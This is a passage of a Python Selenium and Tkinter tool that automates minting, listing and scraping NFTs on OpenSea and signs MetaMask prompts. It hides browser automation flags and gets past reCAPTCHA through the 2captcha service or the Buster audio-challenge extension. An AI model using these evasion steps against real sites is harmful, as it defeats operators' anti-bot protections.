369 | imageUpload = driver.find_element(By.XPATH, '//*[@id="media"]')
370 | imagePath = os.path.abspath(file_path + "\\images\\" + str(start_numformat) + "." + loop_file_format) # change folder here
371 | imageUpload.send_keys(imagePath)
372 | time.sleep(random.uniform(2.1, 4.9))
373 | #HKN Finish
374 |
375 | ext_link = driver.find_element(By.XPATH, '//*[@id="external_link"]')
376 | ext_link.send_keys(loop_external_link)
377 | time.sleep(sleeptime)
378 |
379 | desc = driver.find_element(By.XPATH, '//*[@id="description"]')
380 | desc.send_keys(loop_description)
381 | time.sleep(sleeptime)
382 |
383 | jsonFile = file_path + "/json/"+ str(start_numformat) + ".json"
384 | if os.path.isfile(jsonFile) and os.access(jsonFile, os.R_OK):
385 |
386 | #print(str(jsonMetaData))
387 | wait_css_selector("button[aria-label='Add properties']")
388 | properties = driver.find_element(By.CSS_SELECTOR, "button[aria-label='Add properties']")
389 | driver.execute_script("arguments[0].click();", properties)
390 | time.sleep(sleeptime)
391 |
392 | # checks if file exists
393 | jsonData = json.loads(open(file_path + "\\json\\"+ str(start_numformat) + ".json").read())
394 |
395 | if "attributes" in jsonData:
396 | jsonMetaData = jsonData['attributes']
397 |
398 | for key in jsonMetaData:
399 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input')
400 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input')
401 | #print(str(key['trait_type']))
402 | #print(str(key['value']))
403 | input1.send_keys(str(key['trait_type']))
404 | input2.send_keys(str(key['value']))
405 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]')
406 | driver.execute_script("arguments[0].click();", addmore_button)
407 | time.sleep(sleeptime)
408 |
409 | try:
410 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]')
411 | driver.execute_script("arguments[0].click();", save_button)
412 | time.sleep(sleeptime)
413 | except:
414 | driver.find_element(By.XPATH, '//button[text()="Save"]').click()
415 | time.sleep(sleeptime)
416 |
417 | elif "properties" in jsonData:
418 | jsonMetaData = jsonData['properties']
419 |
420 | wait_xpath('//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input')#HKN
421 | for key in jsonMetaData:
422 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input')
423 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input')
424 | #print(str(key['type']))
425 | #print(str(key['name']))
426 | input1.send_keys(str(key['type']))
427 | input2.send_keys(str(key['name']))
428 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]')
429 | driver.execute_script("arguments[0].click();", addmore_button)
430 | time.sleep(sleeptime)
431 |
432 | try:
433 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]')
434 | driver.execute_script("arguments[0].click();", save_button)
435 | time.sleep(sleeptime)
436 | except:
437 | driver.find_element(By.XPATH, '//button[text()="Save"]').click()
438 | time.sleep(sleeptime)
439 |
440 | else:
441 | print("keys not found!")
442 |
443 | # Select Polygon blockchain if applicable
444 | wait_xpath('//*[@id="chain"]')
445 | default_blockchain = driver.find_element(By.ID, "chain").get_attribute("value")
446 | blockchain_dropdown = driver.find_element(By.ID, "chain")
447 | driver.execute_script("arguments[0].scrollIntoView();", blockchain_dropdown )
448 | # print(default_blockchain)
449 |
450 | if is_polygon.get():
451 | print("polygon")
452 |
453 |
454 | else:
455 | print("eth")
456 |
457 |
458 | # delay()
459 | create = driver.find_element(By.XPATH, '//*[@id="__next"]/div[1]/main/div/div/section/div[2]/form/div/div[1]/span/button')
460 | driver.execute_script("arguments[0].click();", create)
461 | time.sleep(sleeptime)
462 |
463 | #HKN S
464 | wait_E = True
465 | while wait_E:
466 | try:
467 | #wait_xpath('//h4[text()="Almost done"]')
468 | WebDriverWait(driver, 15).until(ExpectedConditions.presence_of_element_located((By.XPATH, '//h4[text()="Almost done"]' )))
469 | wait_E = False
470 | except:
471 | print("Click Again")
472 | driver.execute_script("arguments[0].click();", create)
473 | wait_E = True
474 | #HKN F
475 |
476 | main_page = driver.current_window_handle
477 |
478 | if check_exists_by_xpath(driver, '//h4[text()="Almost done"]'):
479 | wait_xpath('//h4[text()="Almost done"]')
480 | captcha_element = driver.find_element(By.XPATH,'//h4[text()="Almost done"]')
481 |
482 | if check_exists_by_tagname('iframe'):
483 | # print("have iframe")
484 |
485 | captcha_solver = captcha_value.get()
486 |
487 | if captcha_solver == "2captcha": # 2 captcha
488 | delay()
489 | solved_info = WebDriverWait(driver, 300).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//*[@class='captcha-solver-info']" )))#HKN
490 | # solved_status = WebDriverWait(driver, 10).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//*[@class='captcha-solver-info']" ))).get_attribute("innerHTML")
491 | # print(str(solved_status))
492 | wait_xpath("//div[@class='captcha-solver']")
493 | captcha_solver_button = driver.find_element(By.XPATH, "//div[@class='captcha-solver']")
494 | driver.execute_script("arguments[0].click();", captcha_solver_button)
495 | time.sleep(sleeptime)
496 | WebDriverWait(driver, 300).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//*[@data-state='solving']" )))#HKN
497 | print("solving")
498 | #WebDriverWait(driver, 300).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//*[@data-state='solved']")))#HKN
499 | #print("solved")#HKN
500 |
501 | elif captcha_solver == "buster": # !!! Buster Captcha
502 |
503 | iframes = driver.find_elements(By.TAG_NAME, "iframe")
504 | driver.switch_to.frame(iframes[0])
505 |
506 | try:
507 | checkbox_button = WebDriverWait(driver, 10).until(ExpectedConditions.element_to_be_clickable((By.ID ,"recaptcha-anchor")))
508 | checkbox_button.click()
509 | except:
510 | pass
511 |
512 | driver.switch_to.default_content()
513 | # driver.switch_to.frame(iframes[-1])
514 |
515 | # click on audio challenge
516 | WebDriverWait(driver, 10).until(ExpectedConditions.frame_to_be_available_and_switch_to_it((By.CSS_SELECTOR,"iframe[title='recaptcha challenge expires in two minutes']")))
517 | time.sleep(1)
518 |
519 | try:
520 | # capt_btn = WebDriverWait(driver, 50).until(ExpectedConditions.element_to_be_clickable((By.XPATH ,'//*[@id="recaptcha-audio-button"]')))
521 | wait_xpath('/html/body/div[1]/div/div[3]/div[2]/div[1]/div[1]/div[4]')
522 | capt_btn = driver.find_element(By.XPATH, '/html/body/div[1]/div/div[3]/div[2]/div[1]/div[1]/div[4]')
523 | capt_btn.click()
524 | time.sleep(sleeptime)
525 | except:
526 | # capt_btn = WebDriverWait(driver, 10).until(ExpectedConditions.element_to_be_clickable((By.XPATH ,'//*[@id="solver-button"]')))
527 | capt_btn = driver.find_element_by_xpath("//button[@id='solver-button']")
528 | driver.execute_script("arguments[0].click();", capt_btn)
529 | time.sleep(sleeptime)
530 |
531 | driver.switch_to.default_content()
532 | time.sleep(sleeptime)
533 |
534 | else:
535 | pass
536 |
537 |
538 | else:
539 | print("no captcha")
540 |
541 | try:
542 | WebDriverWait(driver, 360).until(ExpectedConditions.presence_of_element_located((By.XPATH, '//a[text()="Sell"] | /html/body/div[6]/div/div/div/div[2]/button/i | //div[@class="item--collection-detail"]')))
543 | time.sleep(4)
544 | except:
545 | if "https://opensea.io/assets" in str(driver.current_url):
546 | #driver.get(driver.current_url)
547 | print("assets page refreshed")
548 | driver.refresh()
549 | time.sleep(5)
550 |
551 | #HKN S
552 | wait_E = True
553 | while wait_E:
554 | try:
555 | WebDriverWait(driver, 15).until(ExpectedConditions.presence_of_element_located((By.XPATH, '//div[@class="item--collection-detail"]')))
556 | wait_E = False
557 | except:
558 | if "https://opensea.io/assets" in str(driver.current_url):
559 | #driver.get(driver.current_url)
560 | print("assets page refreshed 222")
561 | with open(os.path.join(sys.path[0], "Log.txt"), 'a') as outputfile: # Use file to refer to the file object
562 | outputfile.write("This Page Needed To Be Refreshed for assets page refreshed 222 \n")
563 | driver.refresh()
564 | time.sleep(5)
565 | wait_E = True
566 | #HKN F
567 | WebDriverWait(driver, 360).until(ExpectedConditions.presence_of_element_located((By.XPATH, '//div[@class="item--collection-detail"]')))
568 |
569 |
570 | #try:
571 | #delay()
572 | #cross = WebDriverWait(driver, 720).until(ExpectedConditions.presence_of_element_located((By.XPATH, '/html/body/div[6]/div/div/div/div[2]/button/i')))
573 | #time.sleep(2)
574 | #cross.click()
575 | #time.sleep(sleeptime)
576 | #except:
577 | #delay()
578 | #cross = WebDriverWait(driver, 720).until(ExpectedConditions.presence_of_element_located((By.XPATH, '/html/body/div[5]/div/div/div/div[2]/button/i')))
579 | #time.sleep(2)
580 | #driver.execute_script("arguments[0].click();", cross)
581 | #time.sleep(sleeptime)
582 | #HKN Başlangıç
583 |
584 | with open(os.path.join(sys.path[0], "URL.txt"), 'a') as outputfile: # Use file to refer to the file object
585 | outputfile.write(loop_title + str(start_numformat) + "," + driver.current_url + "\n")
586 | #HKN Bitiş
587 | #LISTING START - listing start
588 | main_page = driver.current_window_handle
589 | if is_listing.get():
590 | time.sleep(2)
591 | try:
592 | wait_xpath('//a[text()="Sell"]')
593 | sell = driver.find_element(By.XPATH, '//a[text()="Sell"]')
594 | driver.execute_script("arguments[0].click();", sell)
595 | time.sleep(sleeptime)
596 | except:
597 | if "https://opensea.io/assets" in str(driver.current_url):
598 | driver.get(driver.current_url +"/sell")
599 | time.sleep(sleeptime)
600 | else:
601 | return
602 |
603 | wait_css_selector("input[placeholder='Amount']")
604 | amount = driver.find_element(By.CSS_SELECTOR, "input[placeholder='Amount']")
605 | amount.send_keys(str(loop_price))
606 | time.sleep(sleeptime)
607 |
608 | #duration
609 | duration_date = duration_value.get()
610 | #print(duration_date)
611 |
612 | #if duration_date != 30:
613 | amount.send_keys(Keys.TAB)
614 | time.sleep(sleeptime)
615 |
616 | wait_xpath('//*[@role="dialog"]/div[1]/div[1]/div/input')
617 | select_durationday = driver.find_element(By.XPATH, '//*[@role="dialog"]/div[1]/div[1]/div/input')
618 | select_durationday.click()
619 | if duration_date == 1 :
620 | range_button_location = '//span[normalize-space() = "1 day"]'
621 | if duration_date == 3 :
622 | range_button_location = '//span[normalize-space() = "3 days"]'
623 | if duration_date == 7 :
624 | range_button_location = '//span[normalize-space() = "7 days"]'
625 | if duration_date == 30 :
626 | range_button_location = '//span[normalize-space() = "1 month"]'
627 | if duration_date == 90 :
628 | range_button_location = '//span[normalize-space() = "3 months"]'
629 | if duration_date == 180 :
630 | range_button_location = '//span[normalize-space() = "6 months"]'
631 |
632 | wait.until(ExpectedConditions.presence_of_element_located(
633 | (By.XPATH, range_button_location)))
634 | ethereum_button = driver.find_element(
635 | By.XPATH, range_button_location)
636 | ethereum_button.click()
637 | time.sleep(sleeptime)# dikkat
638 | select_durationday.send_keys(Keys.ENTER)
639 | time.sleep(sleeptime)
640 |
641 | delay()
642 | wait_css_selector("button[type='submit']")
643 | listing = driver.find_element(By.CSS_SELECTOR, "button[type='submit']")
644 | driver.execute_script("arguments[0].click();", listing)
645 |
646 | #HKN S
647 | wait_E = True
648 | while wait_E:
649 | try:
650 | wait_xpath('//div[@role="dialog"]//h4[contains(text(), "Complete your listing")]')#HKN
651 | wait_E = False
652 | except:
653 | wait_css_selector("button[type='submit']")
654 | listing = driver.find_element(By.CSS_SELECTOR, "button[type='submit']")
655 | driver.execute_script("arguments[0].click();", listing)
656 | wait_E = True
657 | #HKN F
658 |
659 | #if is_polygon.get():
660 | #WebDriverWait(driver, 60).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//button[text()='Sign']")))#HKN
661 | #driver.find_element(By.XPATH, '//button[text()="Sign"]').click()
662 | #time.sleep(2)
663 |
664 |
665 | login_page=""#HKN
666 | time.sleep(2)#HKN
667 |
668 |
669 | for handle in driver.window_handles:
670 | if handle != main_page:
671 | login_page = handle
672 | #break
673 | #HKN S
674 | wait_E = True
675 | attempts_n = 1
676 | while wait_E:
677 | if login_page !="":
678 | driver.switch_to.window(login_page)
679 | wait_E = False
680 | else:
681 | time.sleep(2)
682 | if len(driver.window_handles) == 2:
683 | for handle in driver.window_handles:
684 | if handle != main_page:
685 | login_page = handle
686 | elif attempts_n > 4:
687 | try:
688 | #WebDriverWait(driver, 3).until(ExpectedConditions.presence_of_element_located((By.XPATH, '//div[@role="dialog"]//h4[contains(text(), "Complete your listing")]')))#HKN
689 | wait_css_selector("button[type='submit']")
690 | listing = driver.find_element(By.CSS_SELECTOR, "button[type='submit']")
691 | driver.execute_script("arguments[0].click();", listing)
692 | except:
693 | print("i can't click")
694 | attempts_n = attempts_n + 1
695 |
696 | #HKN F
697 |
698 |
699 | if is_polygon.get():
700 | try:
701 | driver.find_element(By.XPATH, "//*[@id='app-content']/div/div[2]/div/div[3]/div[1]").click()
702 | time.sleep(0.7)
703 | except:
704 | wait_xpath("//div[@class='signature-request-message__scroll-button']")
705 | polygonscrollsign = driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']")
706 |
707 |
708 | driver.execute_script("arguments[0].click();", polygonscrollsign)
709 | time.sleep(0.7)
710 |
711 | try:
712 | wait_xpath('//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]')
713 | driver.find_element(By.XPATH, '//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]').click()
714 | time.sleep(0.7)
715 | except:
716 | wait_xpath('//button[text()="Sign"]')
717 | metasign = driver.find_element(By.XPATH, '//button[text()="Sign"]')
718 | driver.execute_script("arguments[0].click();", metasign)
719 | time.sleep(0.7)
720 |
721 | else:
722 | try:
723 | driver.find_element(By.XPATH, "//*[@id='app-content']/div/div[2]/div/div[3]/div[1]").click()
724 | time.sleep(0.7)
725 | except:
726 | WebDriverWait(driver, 240).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//div[@class='signature-request-message__scroll-button']")))#HKN
727 | wait_xpath("//div[@class='signature-request-message__scroll-button']")
728 | scrollsign = driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']")
729 | driver.execute_script("arguments[0].click();", scrollsign)
730 | time.sleep(0.7)
731 |
732 | try:
733 | wait_xpath('//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]')
734 | driver.find_element(By.XPATH, '//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]').click()
735 | time.sleep(0.7)
736 | except:
737 | wait_xpath('//button[text()="Sign"]')
738 | metasign = driver.find_element(By.XPATH, '//button[text()="Sign"]')
739 | driver.execute_script("arguments[0].click();", metasign)
740 | time.sleep(0.7)
741 | with open(os.path.join(sys.path[0], "Log_Listing.txt"), 'a') as outputfile: # Use file to refer to the file object
742 | outputfile.write(listing_item_name + "\n")
743 |
744 | #change control to main page
745 | driver.switch_to.window(main_page)
746 | time.sleep(1)
747 |
748 | start_num = start_num + 1
749 | print('NFT creation completed!')
750 | time.sleep(2)
751 |
752 | driver.get("https://www.opensea.io")
753 |
754 |
755 |
756 | def collection_scraper():#HKN
757 |
758 | collection_links=[]
759 | first_top_list=[]
760 | line_count=0
761 |
762 | project_path = main_directory
763 | options = webdriver.ChromeOptions()
764 | options.add_argument("--disable-blink-features=AutomationControlled")
765 | options.add_experimental_option("debuggerAddress", "localhost:8989")
766 | driver = webdriver.Chrome(executable_path=project_path + "/chromedriver.exe",options=options)
767 | wait = WebDriverWait(driver, 60)
768 | #driver.get(driver.current_url+"?search[sortAscending]=true&search[sortBy]=CREATED_DATE")# collection link
769 | print("Wait 55 Seconds")
770 | #time.sleep(55)
771 | for sny in range(55):
772 | print(str(55-sny))
773 | time.sleep(1)
774 |
775 | #wait = WebDriverWait(driver, 60)
776 | def wait_xpath(code):
777 | wait.until(ExpectedConditions.presence_of_element_located((By.XPATH, code)))
778 |
779 | my_divs = WebDriverWait(driver, 120).until(ExpectedConditions.presence_of_all_elements_located((By.XPATH, '//div[@role="gridcell" or @role="card"][contains(@style,"top")]')))
780 |
781 | for my_div in my_divs:
782 | #print(my_div.value_of_css_property("top"))
783 | top_list_item =int(my_div.value_of_css_property("top").replace("px", ""))
784 | if(top_list_item > 0):
785 | first_top_list.append(top_list_item)
786 | elif(top_list_item == 0):
787 | line_count = line_count + 1
788 |
789 | find_min = min(first_top_list)
790 | control_line = len(set(first_top_list))-1
791 | Top_value = 0
792 |
793 | next_nft = driver.find_element(By.XPATH, '//div[@role="gridcell" or @role="card"][contains(@style,"top: '+ str(Top_value) +'px")]')
794 | driver.execute_script("arguments[0].scrollIntoView(true);",next_nft)
795 | print("Wait 5 Seconds")
796 | time.sleep(5)
797 |
798 | #total_items=int(Total_Items.input_field.get()) #HKN
799 | #collection_count_text = driver.find_element(By.XPATH, '//div[@class="AssetSearchView--results-count"]/p').text
800 | collection_count_text = driver.find_element(By.XPATH, '//div[@class="AssetSearchView--results collection--results AssetSearchView--results--phoenix"]//p').text
801 | c_num = ""
802 | for c in collection_count_text:
803 | if c.isdigit():
804 | c_num = c_num + c
805 | total_items = int(c_num)
806 |
807 | total_line =3
808 | if int(total_items/line_count) != (total_items/line_count):
809 | total_line = int(total_items/line_count) +1
810 | else:
811 | total_line = total_items/line_count
812 |
813 | for my_line in range(total_line):#total_line or some integer like 20
814 | #presence_of_all_elements_located
815 | if my_line !=0 and my_line%50==0:
816 | for sny in range(60):
817 | print(str(60-sny))
818 | time.sleep(1)
819 |
820 | if my_line<(total_line-control_line-1):
821 | WebDriverWait(driver, 120).until(ExpectedConditions.visibility_of_all_elements_located((By.XPATH, '//div[@role="gridcell" or @role="card"][contains(@style,"top: '+ str(Top_value + find_min * control_line) +'px")][last()='+str(line_count)+']')))
822 | elif my_line == (total_line-control_line-1):
823 | print("Wait 30 Seconds")
824 | time.sleep(30)
825 |
826 | last_string='[last()='+str(line_count)+']'
827 | if (my_line + 1) == total_line:
828 | last_string =""
829 | nftler = WebDriverWait(driver, 120).until(ExpectedConditions.visibility_of_all_elements_located((By.XPATH, '//div[@role="gridcell" or @role="card"][contains(@style,"top: '+ str(Top_value) +'px")]'+ last_string)))
830 | for my_nft in nftler:
831 | #for sayi in range(5):
832 | #WebDriverWait(driver, 120).until(ExpectedConditions.visibility_of_all_elements_located((By.XPATH, '//div[@role="gridcell" or @role="card"][contains(@style,"top: '+ str(Top_value) +'px")]['+str(sayi+1)+']//div[@class="AssetCardFooter--name"][string-length(text()) > 0]' )))
833 | wait_E = True
834 | while wait_E:
835 | try:
836 | #nft_Name = my_nft.find_element(By.XPATH, './/div[@class="AssetCardFooter--name"]').text
837 | nft_Name = my_nft.find_element(By.XPATH, './/a//img').get_attribute('alt')
838 | nft_Link = my_nft.find_element(By.XPATH, './/a').get_attribute('href')
839 | print(my_nft.find_element(By.XPATH, './/a').get_attribute('href'))
840 | with open(os.path.join(sys.path[0], "Scraper.txt"), 'a') as outputfile: # Use file to refer to the file object
841 | outputfile.write(nft_Name + "," + nft_Link + "\n")
842 | wait_E = False
843 | except:
844 | print("Nftnin bir bilgisi bulunamadı tekrar deneniyor")
845 | wait_E = True
846 |
847 | #time.sleep(0.1)
848 | print("My Line : " + str(my_line))
849 | if (my_line + 1) != total_line:
850 | Top_value = Top_value + find_min
851 | WebDriverWait(driver, 120).until(ExpectedConditions.presence_of_element_located((By.XPATH, '//div[@role="gridcell" or @role="card"][contains(@style,"top: '+ str(Top_value) +'px")]')))
852 | next_nft = driver.find_element(By.XPATH, '//div[@role="gridcell" or @role="card"][contains(@style,"top: '+ str(Top_value) +'px")]')
853 | driver.execute_script("arguments[0].scrollIntoView(true); window.scrollBy(0,60);",next_nft)
854 | #time.sleep(2)
855 |
856 | #driver.execute_script('element = document.body.querySelector("style[top="'+ str(Top_value) +'px"]"); element.scrollIntoView();')
857 |
858 | #my_script = """myInterval = setInterval(function() {document.documentElement.scrollTop +="""+str(Top_value/4)+""";}, 500);
859 | #setTimeout(function() {clearInterval(myInterval)}, 2000);
860 | #"""
861 | #driver.execute_script(my_script)
862 | #driver.execute_script('document.documentElement.scrollTop +='+ str(Top_value))
863 | #time.sleep(10)
864 |
865 | def remove_duplicates(liste):
866 | liste2 = []
867 | if liste:
868 | for item in liste:
869 | if item not in liste2:
870 | liste2.append(item)
871 | else:
872 | return liste
873 | return liste2
874 |
875 | def modify_Scrape_txt():#HKN
876 |
877 | def num_sort(test_string):
878 | return list(map(int, re.findall(r'(?<=#)(.*)(?=,)', test_string)))[0]
879 | Lines = []
880 | with open(os.path.join(sys.path[0], "Scraper.txt"), 'r') as scraped_list: # Use file to refer to the file object
881 | #scraped_list.seek(0)
882 | Lines = scraped_list.readlines()
883 | Lines = remove_duplicates(Lines)
884 | Lines.sort(key=num_sort)
885 | #Lines = remove_duplicates(Lines).sort()
886 | with open(os.path.join(sys.path[0], "modified_Scraper.txt"), 'a') as outputfile: # Use file to refer to the file object
887 | for line in Lines:
888 | outputfile.write(str(line))
889 |
890 | def qf(quickPrint="test"):
891 | print(len(driver.window_handles))
892 |
893 | duration_value = IntVar()
894 | duration_value.set(value=180)
895 | duration_date = Frame(root, padx=0, pady=1)
896 | duration_date.grid(row=15, column=1, sticky=(N, W, E, S))
897 | tk.Radiobutton(duration_date, text='1 day', variable=duration_value, value=1, anchor="w", command=save_duration, width=6,).grid(row=0, column=1)
898 | tk.Radiobutton(duration_date, text="3 days", variable=duration_value, value=3, anchor="w", command=save_duration, width=6, ).grid(row=0, column=2)
899 | tk.Radiobutton(duration_date, text="7 days", variable=duration_value, value=7, anchor="w", command=save_duration, width=6,).grid(row=0, column=3)
900 | tk.Radiobutton(duration_date, text="30 days", variable=duration_value, value=30, anchor="w", command=save_duration, width=7,).grid(row=0, column=4)
901 | tk.Radiobutton(duration_date, text="90 days", variable=duration_value, value=90, anchor="w",command=save_duration, width=7,).grid(row=0, column=5)
902 | tk.Radiobutton(duration_date, text="180 days", variable=duration_value, value=180, anchor="w", command=save_duration, width=7).grid(row=0, column=6)
903 | duration_date.label = Label(root, text="Duration:", anchor="nw", width=20, height=2 )
904 | duration_date.label.grid(row=15, column=0, padx=12, pady=0)
905 |
906 | captcha_value = StringVar()
907 | captcha_value.set(value="2captcha")
908 | captcha_date = Frame(root, padx=0, pady=1)
909 | captcha_date.grid(row=16, column=1, sticky=(N, W, E, S))
910 | tk.Radiobutton(captcha_date, text='2 Captcha', variable=captcha_value, value="2captcha", anchor="w", command=save_captcha, width=8,).grid(row=0, column=1)
911 | tk.Radiobutton(captcha_date, text="Buster", variable=captcha_value, value="buster", anchor="w", command=save_captcha, width=8, ).grid(row=0, column=2)
912 | captcha_date.label = Label(root, text="Captcha:", anchor="nw", width=20, height=2 )
913 | captcha_date.label.grid(row=16, column=0, padx=12, pady=0)
914 |
915 | isSensitive = tkinter.Checkbutton(root, text='Sensitive Content', var=is_sensitivecontent, width=49, anchor="w")
916 | isSensitive.grid(row=17, column=1)
917 | isCreate = tkinter.Checkbutton(root, text='Complete Listing', var=is_listing, width=49, anchor="w")
918 | isCreate.grid(row=19, column=1)
919 | isPolygon = tkinter.Checkbutton(root, text='Polygon Blockchain', var=is_polygon, width=49, anchor="w")
920 | isPolygon.grid(row=20, column=1)
921 | upload_folder_input_button = tkinter.Button(root, width=50, height=1, text="Add NFTs Upload Folder", command=upload_folder_input)
922 | upload_folder_input_button.grid(row=21, column=1, padx=2)
923 | open_browser = tkinter.Button(root, width=50, height=1, text="Open Chrome Browser", command=open_chrome_profile)
924 | open_browser.grid(row=23, column=1, pady=2)
925 | button_save = tkinter.Button(root, width=50, height=1, text="Save This Form", command=save)
926 | button_save.grid(row=22, column=1, pady=2)
927 | button_start = tkinter.Button(root, width=44, height=2, bg="green", fg="white", text="Start", command=partial(main_program_loop, "Full"))#command=lambda: main_program_loop("Full")
928 | button_start['font'] = font.Font(size=10, weight='bold')
929 | button_start.grid(row=25, column=1, pady=2)
930 |
931 | button_collection_scraper = tkinter.Button(root, width=22, height=2, bg="red", fg="white", text="SCRAPE Collection", command=collection_scraper)
932 | button_collection_scraper['font'] = font.Font(size=10, weight='bold')
933 | button_collection_scraper.grid(row=27, column=1, pady=2)
934 | button_onlyListing = tkinter.Button(root, width=44, height=2, bg="#aa5533", fg="white", text="ONLY Listing", command=partial(main_program_loop, "OnlyListing"))
935 | button_onlyListing['font'] = font.Font(size=10, weight='bold')
936 | button_onlyListing.grid(row=29, column=1, pady=2)
937 | button_modify_Scrape_txt = tkinter.Button(root, width=22, height=2, bg="orange", fg="black", text="Modify Scraped Text", command=modify_Scrape_txt)
938 | button_modify_Scrape_txt['font'] = font.Font(size=10, weight='bold')
939 | button_modify_Scrape_txt.grid(row=28, column=1, pady=2)
940 | #button_test = tkinter.Button(root, width=44, height=2, bg="#aa5533", fg="white", text="Test", command=lambda: qf("OnlyListing"))
941 | #button_test['font'] = font.Font(size=10, weight='bold')
942 | #button_test.grid(row=30, column=1, pady=2)
943 | #HKN
944 | #Total_Items = InputField("Total İtems:", 26, 0, 10, 10)
945 | #Control_Line_Number = InputField("Control Line Number:", 28, 0, 11, 40)
946 | #Items_In_Line = InputField("İtems Number in Line:", 29, 0, 12, 40)
947 |
948 |
949 | footer = tkinter.Button(root, height=3, width=60, text='Do you you want to show support? \n Now you have the chance to buy me a coffee. Thank you.', command=coffeeURL, relief=GROOVE )
950 | footer.grid(row=31, columnspan=2, padx=31, pady=31)
951 |
952 | try:
953 | with open(save_file_path(), "rb") as infile:
954 | new_dict = pickle.load(infile)
955 | global upload_path
956 | Name_change_img_folder_button(new_dict[0])
957 | upload_path = new_dict[0]
958 | except FileNotFoundError:
959 | pass
960 | #####BUTTON ZONE END#######
961 | root.mainloop()
962 |
--------------------------------------------------------------------------------